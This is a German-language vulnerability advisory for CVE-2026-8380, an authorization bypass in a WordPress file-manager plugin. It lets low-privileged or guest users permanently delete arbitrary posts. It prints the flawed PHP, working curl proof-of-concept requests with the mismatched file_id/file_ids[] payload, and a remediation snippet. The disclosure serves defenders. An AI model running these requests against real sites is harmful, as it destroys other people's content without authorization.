
CVE-2026-8380
Eine kritische Autorisierungsschwachstelle wurde im WordPress-Plugin Frontend File Manager (nmedia-user-file-uploader) identifiziert, das die Versionen <= 23.6 betrifft.
Die Schwachstelle erlaubt authentifizierten Benutzern mit niedrigen Berechtigungen, beliebige WordPress-Beiträge, Seiten, Anhänge und benutzerdefinierte Beitragstypen dauerhaft zu löschen, aufgrund einer unzureichenden Autorisierungsvalidierung im AJAX-Lösch-Endpunkt.
Wenn die Plugin-Option _allow_guest_upload=yes aktiviert ist, wird die Schwachstelle durch nicht authentifizierte Angreifer ausnutzbar.
nmedia-user-file-uploader)Eine kritische Autorisierungsumgehungsschwachstelle wurde im Plugin entdeckt, die das willkürliche Löschen von WordPress-Inhalten durch eine Parameter-Mismatch-Validierung innerhalb der AJAX-Aktion wpfm_delete_file ermöglicht.
Die Schwachstelle wurde erfolgreich in einer kontrollierten Laborumgebung mit aktivem Proof-of-Concept-Exploit validiert.
Zusätzliche Sicherheitsschwächen wurden während der Forschung ebenfalls identifiziert:
_allow_guest_upload deaktiviert Autorisierungsprüfungen in mehreren EndpunktenREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
Die Autorisierungsprüfung validiert den Besitz mit dem singulären Parameter:
$_POST['file_id']
Der tatsächliche Löschvorgang iteriert jedoch über einen anderen Parameter:
$_POST['file_ids[]']
Aufgrund dieser Diskrepanz kann ein Angreifer:
file_id bereitstellenfile_ids[] injizierenEs existiert keine Validierung, um sicherzustellen:
file_ids[]post_typefile_id und file_ids[]Infolgedessen kann beliebiger WordPress-Inhalt dauerhaft gelöscht werden.
Ein authentifizierter Benutzer mit minimalen Berechtigungen kann dauerhaft löschen:
Das Löschen wird durchgeführt mit:
wp_delete_post($file_id, true);
Das bedeutet, der Inhalt wird dauerhaft ohne Papierkorb-Wiederherstellung entfernt.
Wenn _allow_guest_upload=yes aktiviert ist:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
Der Angreifer besucht eine Seite, die den Shortcode enthält:
[ffmwp]
Nonce extrahieren:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Antwort:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Parameter | Beschreibung |
|---|---|
file_id=57 | Eigener Beitrag des Abonnenten, der zur Umgehung der Autorisierung verwendet wird |
file_ids[]=60 | Opfer-Administratorseite |
file_ids[]=61 | Opfer-Administratorbeitrag |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Validieren Sie Besitz und Beitragstyp für jeden Eintrag in file_ids[].
Beispiel für eine sichere Implementierung:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Ereignis | Datum |
|---|---|
| Schwachstelle entdeckt | 2026-05-28 |
| Anbieter kontaktiert | 2026-05-28 |
| WPScan veröffentlicht | 2026-06-04 |
| Öffentliche Offenlegung | 2026-06-18 |
Diese Forschung wurde in einer kontrollierten Laborumgebung ausschließlich zu Bildungs- und Sicherheitsforschungszwecken durchgeführt.
Testen Sie keine Systeme ohne entsprechende Autorisierung.